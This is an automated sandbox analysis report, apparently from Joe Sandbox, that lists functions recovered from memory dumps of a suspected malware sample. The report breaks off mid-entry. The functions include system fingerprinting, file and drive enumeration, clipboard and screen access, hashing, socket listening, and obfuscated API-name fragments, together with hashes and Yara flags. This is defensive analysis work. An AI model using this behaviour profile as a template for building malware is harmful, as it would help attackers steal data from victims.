Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: HeapInitializeProcess
String ID:
API String ID: 1740904833-0
Opcode ID: 0869f8f8bb58bd738d7aebf4fe95a4426f1cb81894869042088cbd65105e8e69
Instruction ID: 2c2237a5ee4e89031bf1353f05d159bf03d8b6e8f40245f65aff6e2c43b57333
Opcode Fuzzy Hash: 0869f8f8bb58bd738d7aebf4fe95a4426f1cb81894869042088cbd65105e8e69
Instruction Fuzzy Hash: 8DE0E635E80310DFD3258758E969FA23798AF88750F954894FA0ADB141D7A29850CB95

Function 02B79A35 Relevance: 1.7, APIs: 1, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?), ref: 02B79A7D

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 24579157509350df2ebbebd379bb419396ea94e8251d92676d63cbb8e213e7fc
Instruction ID: 90595e0a7d51325ff8ee9440d67125921a7e7e73c91b8d17b26be432693a3d92
Opcode Fuzzy Hash: 24579157509350df2ebbebd379bb419396ea94e8251d92676d63cbb8e213e7fc
Instruction Fuzzy Hash: 67713971E40609EBDF109FD8DC81BAEBB72FF48300F6080A9D6547A281D7765670CB55

Function 02B0F160 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000), ref: 02B0F247

Part of subcall function 02B11E99: RtlInitializeCriticalSection.NTDLL(00000000), ref: 02B11ED6
Part of subcall function 02B11E99: RtlEnterCriticalSection.NTDLL(00000000), ref: 02B11EF1

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: dada5a4a83c1a4c338c78bc9ec74bbd62e771c0a0325f013714fbd73ef2539a5
Instruction ID: 028fa21e51a3594d2302654add3e87e2e3345a9cbd368135b549dd39964cdc8b
Opcode Fuzzy Hash: dada5a4a83c1a4c338c78bc9ec74bbd62e771c0a0325f013714fbd73ef2539a5
Instruction Fuzzy Hash: 76212B76F40205ABDB21EFA8EC81BADBFB4FB04760F504595F424EB5C0CB74A9818A90

Function 02B798F3 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(00000000,?), ref: 02B79939

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: cd03ea638a1034f8a1ad5712027a48cf5d35d0a154e9c219388bf5412df44684
Instruction ID: 0b3b7a9dcc74c149cf07883b250923d2d6f54673bc1b25d5ebc1be96931a86ac
Opcode Fuzzy Hash: cd03ea638a1034f8a1ad5712027a48cf5d35d0a154e9c219388bf5412df44684
Instruction Fuzzy Hash: 7B014471E04208AFEB10EEF49845BBEB7FDEB19304F1404EA961AE7241EB719A509B50

Function 02BB5B70 Relevance: 1.5, APIs: 1, Instructions: 6fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 02BB5B7A

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 3d9dcfbf1fb2b697d626dc756bcfeeebdab29f8303fcc6ae670f5ebf59c0ba99
Instruction ID: 39b04c81532800b53ea066d1610087928491430401f94605771a15aefd97e359
Opcode Fuzzy Hash: 3d9dcfbf1fb2b697d626dc756bcfeeebdab29f8303fcc6ae670f5ebf59c0ba99
Instruction Fuzzy Hash: 5AB092B4604201AF8A04CB11D68882ABBE8AB88240B004848B44582200CA30D840CA22

Function 02BB5B30 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

PathFileExistsA.KERNELBASE(00000000,02B7E1F6,00000001,?,00000000,80000004,?,?,?,?,02B7E0DC,00000000,00000000), ref: 02BB5B35

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 077ab4cc7063378bd9e3bd35e2bae29ac1e393ba5ecc9b4bf2f358e1daf3e55e
Instruction ID: 8f00010a8be2a53c4ecfe391ff033ed163eff265311ea3a9c2b1ca61db0c71a3
Opcode Fuzzy Hash: 077ab4cc7063378bd9e3bd35e2bae29ac1e393ba5ecc9b4bf2f358e1daf3e55e
Instruction Fuzzy Hash: 90A00275D44241ABCE00DBB4D54C88ABBF8BB89381B60CC84B185C7014C634D455CF11

Non-executed Functions

Function 02B154F4 Relevance: 26.7, Strings: 21, Instructions: 417COMMON

Download Yara Rule

Strings

1, xrefs: 02B15739
-, xrefs: 02B156F2
9, xrefs: 02B15775
0, xrefs: 02B1561E
e, xrefs: 02B155EC
9, xrefs: 02B15785
9, xrefs: 02B155B5
E, xrefs: 02B155DE
c, xrefs: 02B155E3
+, xrefs: 02B155C6
+, xrefs: 02B156E9
0, xrefs: 02B155D0
0, xrefs: 02B15762
9, xrefs: 02B15609
C, xrefs: 02B155D5
9, xrefs: 02B15563
0, xrefs: 02B15695
1, xrefs: 02B1576C
9, xrefs: 02B15741
0, xrefs: 02B15793
-, xrefs: 02B155CB

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: +$+$-$-$0$0$0$0$0$1$1$9$9$9$9$9$9$C$E$c$e
API String ID: 0-1157002505
Opcode ID: 92c7c15a84a374c2a13b436f6aa339a9accc0233496d38f6083f0fedb872dcf2
Instruction ID: d8216a4c4f6d1e5fb9769a508c4ed7ecbdc4e500cb9d4db673a9e5f1a2c1e2ae
Opcode Fuzzy Hash: 92c7c15a84a374c2a13b436f6aa339a9accc0233496d38f6083f0fedb872dcf2
Instruction Fuzzy Hash: 65E1FC71E55249CFEF35CEA4C8163FD7BB2EB84354FE840A6D401AB182D3759A81CB51

Function 02B8CD16 Relevance: 23.2, APIs: 12, Strings: 1, Instructions: 402encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,02BC6202,02BC6202,00000001,F0000000), ref: 02B8CD86
CryptAcquireContextA.ADVAPI32(00000000,02BC6202,02BC6202,00000001,00000000), ref: 02B8CDB5
CryptCreateHash.ADVAPI32(00000000,00000000,00000000,00000000,00000000), ref: 02B8CDE8
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 02B8CE07

Strings

0123456789ABCDEF, xrefs: 02B8CF46

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$CreateHashRelease
String ID: 0123456789ABCDEF
API String ID: 3535039526-2554083253
Opcode ID: 39f0e94e5b6353c16a17062aadb9cc407ab8537ff70580b1e528b07ad84276e5
Instruction ID: 597f36636223d2c17b2080b68a953a432b262bd3499dfc5c449c249bd92e076d
Opcode Fuzzy Hash: 39f0e94e5b6353c16a17062aadb9cc407ab8537ff70580b1e528b07ad84276e5
Instruction Fuzzy Hash: DDE15BB1E40218EBDB14EFE0EC85BEEBBB5FF08300F6444A5E555B6245DB755A24CB20

Function 02BB5E50 Relevance: 22.7, APIs: 15, Instructions: 197COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 02BB5E5A
GetDesktopWindow.USER32 ref: 02BB5E76
GetWindowRect.USER32(?,?), ref: 02BB5E82
ReleaseDC.USER32(?,00000000), ref: 02BB5E8E

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Window$DesktopRectRelease
String ID:
API String ID: 1099125434-0
Opcode ID: 6694f9d2d4f4e860375f832243d986e55a83eb002cc3ee5e2ab819a22f7c70a8
Instruction ID: 852c885f6b6ea8bec8944e1984545f848ef1d83f6a667dbc73ff94ba0d66616c
Opcode Fuzzy Hash: 6694f9d2d4f4e860375f832243d986e55a83eb002cc3ee5e2ab819a22f7c70a8
Instruction Fuzzy Hash: 586139B5A043029FD314DF28C844A6AFBE9FF88360F548A5DF959CB340D775E9418B52

Function 02B1376F Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,02B10070,?,Microsoft Visual C++ Runtime Library,00012010,?,02B173DC,?,02B1742C,?,?,?,Runtime Error!Program: ), ref: 02B13781
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 02B13799
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 02B137AA
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 02B137B7

Strings

GetLastActivePopup, xrefs: 02B137AC
MessageBoxA, xrefs: 02B13793
user32.dll, xrefs: 02B1377C
GetActiveWindow, xrefs: 02B137A4

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 0575745f8a2f6d1cbc98b85cb6c345db73b27e8bf516b2d24968034b6d707b5f
Instruction ID: bf2df893000550983f09536c5f096eb73590dc1fce97028a5bd05b9209dec35d
Opcode Fuzzy Hash: 0575745f8a2f6d1cbc98b85cb6c345db73b27e8bf516b2d24968034b6d707b5f
Instruction Fuzzy Hash: FD012CB1BC1302EB97119FF99CC4D1ABFE8EF889D438418AAB545D3111EB708511EBE2

Function 02B986AA Relevance: 13.8, APIs: 9, Instructions: 292nativememoryCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(00000005,00000000,00000000,00000000), ref: 02B98732
LocalAlloc.KERNEL32(00000040,00000000), ref: 02B98758
NtQuerySystemInformation.NTDLL(00000005,00000000,00000000,?), ref: 02B9877C
LocalFree.KERNEL32(00000000), ref: 02B98796
LocalFree.KERNEL32(00000000), ref: 02B988F6

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$FreeInformationQuerySystem$Alloc
String ID:
API String ID: 3807488920-0
Opcode ID: d3d1d8cbc518ab01c5c6992c65cc8444d4f721b771cf154c89c537bc9b29c0f8
Instruction ID: 9404ceea824239547242dfe5a421a5d0f3a093daeceb8ad17efcb9e5feb25fef
Opcode Fuzzy Hash: d3d1d8cbc518ab01c5c6992c65cc8444d4f721b771cf154c89c537bc9b29c0f8
Instruction Fuzzy Hash: BDB1C4B1D00218EBDF01EFE0D988BEEBBB9FF09300F5054A6E115B6144EB759A64CB65

Function 02B81BC0 Relevance: 13.1, Strings: 10, Instructions: 581COMMON

Download Yara Rule

Strings

odul, xrefs: 02B81DB9
Load, xrefs: 02B81CBF
ualF, xrefs: 02B81D92
eNam, xrefs: 02B81DCB
GetP, xrefs: 02B81CF2
RtlM, xrefs: 02B81D37
ualA, xrefs: 02B81D79
Virt, xrefs: 02B81D6E
GetM, xrefs: 02B81DB1
eFil, xrefs: 02B81DC2

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: GetM$GetP$Load$RtlM$Virt$eFil$eNam$odul$ualA$ualF
API String ID: 0-2330598228
Opcode ID: e95b2be4774fe56dce19853926b31ae9608be0e86b70fc2631ec137b1f0567bd
Instruction ID: 048572c8c2872f737f9adf1ddd48239becff6304b531d935de8c58fe5613b9a6
Opcode Fuzzy Hash: e95b2be4774fe56dce19853926b31ae9608be0e86b70fc2631ec137b1f0567bd
Instruction Fuzzy Hash: FB328B71A01205DFDB24EF58C884BA9B7F1FF44315F25C1AAE94DAB291D7B0E981CB84

Function 02B80196 Relevance: 12.8, APIs: 8, Instructions: 779memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02B801D7
CoCreateInstance.OLE32(?,00000000,00000001,?,00000000,?,?), ref: 02B8023D

Part of subcall function 02B80B63: IsBadReadPtr.KERNEL32(00000000,00000004), ref: 02B80B7D
Part of subcall function 02B80B63: IsBadCodePtr.KERNEL32(00000000), ref: 02B80BA3

LocalAlloc.KERNEL32(00000040,00000250), ref: 02B8084A
RtlMoveMemory.KERNEL32(00000000), ref: 02B8098F
LocalFree.KERNEL32(00000000), ref: 02B80AD8
LocalAlloc.KERNEL32(00000040,00000208,00000000,00000005,?,00000001,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02B803C7

Part of subcall function 02B80CFF: lstrlenW.KERNEL32(00000000), ref: 02B80D1E

LocalFree.KERNEL32(00000000,00000000), ref: 02B80B08
CoUninitialize.OLE32(00000000,00000000,00000000,?,00000001,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02B80B24

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocFree$CodeCreateInitializeInstanceMemoryMoveReadUninitializelstrlen
String ID:
API String ID: 771792520-0
Opcode ID: 0d0bea8f0918c161ee439c3347d0444867965b0a0e049b4c006ce255b1a30e7a
Instruction ID: 2babf801a695d7d098763fe0a6ce8027804e7808bd8b22c9199d5eda1963befd
Opcode Fuzzy Hash: 0d0bea8f0918c161ee439c3347d0444867965b0a0e049b4c006ce255b1a30e7a
Instruction Fuzzy Hash: EE62E4B1E41218ABEF209F94DC85BDDBBB5FF08714F240464E605BA290D3B9A954DF28

Function 02BB8CA0 Relevance: 10.6, APIs: 7, Instructions: 54clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 02BB8CAD
EmptyClipboard.USER32 ref: 02BB8CB8
GlobalAlloc.KERNEL32(00000042,00000001), ref: 02BB8CCC
GlobalLock.KERNEL32(00000000), ref: 02BB8CD9
GlobalUnlock.KERNEL32(00000000), ref: 02BB8CFF
SetClipboardData.USER32(00000001,00000000), ref: 02BB8D08
CloseClipboard.USER32 ref: 02BB8D13

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlock
String ID:
API String ID: 1677084743-0
Opcode ID: 1ebbc942cb4824945195fbeea9b93d8937ac4fadf1c498f1006432218e5b85db
Instruction ID: fc6ded496a839a63bf523648b9cc7fbb1385ca057786d58502a76c4f090ea652
Opcode Fuzzy Hash: 1ebbc942cb4824945195fbeea9b93d8937ac4fadf1c498f1006432218e5b85db
Instruction Fuzzy Hash: F201F232B401115BD71127B9BC4C6BFBADCEF8C666B6949ADFA07C3285CF648C1182A0

Function 02BCE316 Relevance: 10.2, Strings: 8, Instructions: 154COMMON

Download Yara Rule

Strings

\\\\, xrefs: 02BCE4FD
\\\\, xrefs: 02BCE4E7
\\\\, xrefs: 02BCE4F2
\\\\, xrefs: 02BCE51E
\\\\, xrefs: 02BCE4D0
\\\\, xrefs: 02BCE513
\\\\, xrefs: 02BCE508
\\\\, xrefs: 02BCE4DC

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: \\\\$\\\\$\\\\$\\\\$\\\\$\\\\$\\\\$\\\\
API String ID: 0-952294718
Opcode ID: cfa05e2ee3cac6fbf95b8fcd8c50ae842203ee8a6ca6a50f99d4ac27f6cbebee
Instruction ID: 366978c6b2a8c2eec1c54ccf91722bc289d1c3f50f0c78bd06134d369f2e7988
Opcode Fuzzy Hash: cfa05e2ee3cac6fbf95b8fcd8c50ae842203ee8a6ca6a50f99d4ac27f6cbebee
Instruction Fuzzy Hash: CA51D4B15083849BE334DFA1C885BDFF7E9AFD9304F44882ED2999B240E7349105CB96

Function 02BB9BD0 Relevance: 9.1, APIs: 6, Instructions: 123fileCOMMON

Download Yara Rule

APIs

FindClose.KERNEL32 ref: 02BB9C08
FindFirstFileA.KERNEL32(?,?), ref: 02BB9C14
FindNextFileA.KERNEL32(?,?), ref: 02BB9C74
FindNextFileA.KERNEL32(?,?,?,?), ref: 02BB9C8C
FindNextFileA.KERNEL32(?,?), ref: 02BB9C9F
FindNextFileA.KERNEL32(?,?,?,?), ref: 02BB9CB8

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Find$File$Next$CloseFirst
String ID:
API String ID: 1884811643-0
Opcode ID: c1eb32a56d23cc51ec9f70d28cc8db3644945dcfa1757e3af6e044b947d5510e
Instruction ID: 3e3eba2f4217e7d993aca4149ac3ceb370e1d9fdceb81c0702990dd13bc7b70f
Opcode Fuzzy Hash: c1eb32a56d23cc51ec9f70d28cc8db3644945dcfa1757e3af6e044b947d5510e
Instruction Fuzzy Hash: 6531F732604B058BD732DA28DC40BFFB3E4EFC5321F454A69EE65C7280EBB5D4098A91

Function 02B0FCC6 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 02B0FCE5
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 02B0FD1A
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02B0FD7A

Strings

__MSVCRT_HEAP_SELECT, xrefs: 02B0FD15
__GLOBAL_HEAP_SELECTED, xrefs: 02B0FD54

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 65c913e50b132acc299d668c21bb2e73119edf33dd871e3241e662228eca46c1
Instruction ID: 213781e145eb444b0140e8043cb62b261f6d304e578ec36cdd09fbfea97cce40
Opcode Fuzzy Hash: 65c913e50b132acc299d668c21bb2e73119edf33dd871e3241e662228eca46c1
Instruction Fuzzy Hash: 28312171A452886EEB3386705CD5BF97F69DB02308F6409D9D146CA4C2EF30DAC9CB11

Function 02BB2B44 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 194networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 02BB2BB9
inet_addr.WS2_32(?), ref: 02BB2C25
bind.WS2_32(00000000,00000000), ref: 02BB2CA3

Strings

0.0.0.0, xrefs: 02BB2BF5

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: bindhtonsinet_addr
String ID: 0.0.0.0
API String ID: 1929687008-3771769585
Opcode ID: 66289da263cb757cf5581fdb9012eac073e77d91dd41ff688d6fc0bf81fd5b2a
Instruction ID: 93526504674b95749d490163d2e04c2fdcb4f9fcb7c755dadcc3453d3ecb75ff
Opcode Fuzzy Hash: 66289da263cb757cf5581fdb9012eac073e77d91dd41ff688d6fc0bf81fd5b2a
Instruction Fuzzy Hash: E55180B1A40205AFEB00DF68DCC0BAAB7F5FF59324F1804A5E905DB341E775A950DB61

Function 02BB2DAB Relevance: 6.2, APIs: 4, Instructions: 176networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000001), ref: 02BB2E45
recv.WS2_32(00000000,00000000,00000001,00000000), ref: 02BB2E62
accept.WS2_32(00000000,00000000,?), ref: 02BB2ECC
LocalFree.KERNEL32(00000000), ref: 02BB2F52

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocFreeacceptrecv
String ID:
API String ID: 2833958697-0
Opcode ID: 03fc266d3cf1bacc9c90fa0385c360b90065c7abd1fd971f35891dc93a426a75
Instruction ID: be7f1d4077677fa2740b7e617bb737181767c49e1305feac5135ac33cc7fdfcb
Opcode Fuzzy Hash: 03fc266d3cf1bacc9c90fa0385c360b90065c7abd1fd971f35891dc93a426a75
Instruction Fuzzy Hash: 7E5181B1E40205AFEB00CFA8DC84BAAB7F5FF49324F1844A5E905EB341D775A910DB61

Function 02BF3AD6 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fefb20d8944f8209b3a812041b02076e515d8e96e8c0c59b388902caf07bce8e
Instruction ID: 40180ec18f79c6fafadf93668d9717eedb70d1eea4466a1710d1ab6aac4ddf16
Opcode Fuzzy Hash: fefb20d8944f8209b3a812041b02076e515d8e96e8c0c59b388902caf07bce8e
Instruction Fuzzy Hash: 6B022C71E002599FDF54CFA9C8906ADFBF1EF48314F1581A9E919E7380E731AA45CB90

Function 02BB8C60 Relevance: 3.0, APIs: 2, Instructions: 18fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,00000000), ref: 02BB8C70
FindClose.KERNEL32(00000000), ref: 02BB8C7C

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 11d0a17b807d687d347e939665aa3c397e3df654dc72539e149b4d6cad9940e2
Instruction ID: 8d1933f83c24211e833b2db4214c76c5308f24a23b5f39b632e4b2365f0fa762
Opcode Fuzzy Hash: 11d0a17b807d687d347e939665aa3c397e3df654dc72539e149b4d6cad9940e2
Instruction Fuzzy Hash: 14E0CD704003015FC311D738D8094B937A8BF44335FE44F98B57C851E0E339C56A8A41

Function 02BF3F84 Relevance: 2.9, APIs: 1, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 02BF40CA

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 701b5ecabfbab59b85074f1a5740afbac254d5c41c8f94c70797631d82309e91
Instruction ID: f5bab4309baa55571cc1885158c8f9d5659c6aca76c90dbb0c9b6e5eb1fdc71f
Opcode Fuzzy Hash: 701b5ecabfbab59b85074f1a5740afbac254d5c41c8f94c70797631d82309e91
Instruction Fuzzy Hash: D2C25C71E086288FDBA5CE28DD407EAB7B5FB44305F1541EADA4DE7240E774AE898F40

Function 02B82930 Relevance: 1.8, APIs: 1, Instructions: 324COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(000000FF,00000000), ref: 02B829A7

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: DriveLogicalStrings
String ID:
API String ID: 2022863570-0
Opcode ID: 78b430766b4e9a588daba7b8e2958b617e1b8c14a17264e98b628785fc6f65a7
Instruction ID: d1ad8154ca65ced427763df58aa52d82ab4b43323164dda125d67eec1bbd5d1c
Opcode Fuzzy Hash: 78b430766b4e9a588daba7b8e2958b617e1b8c14a17264e98b628785fc6f65a7
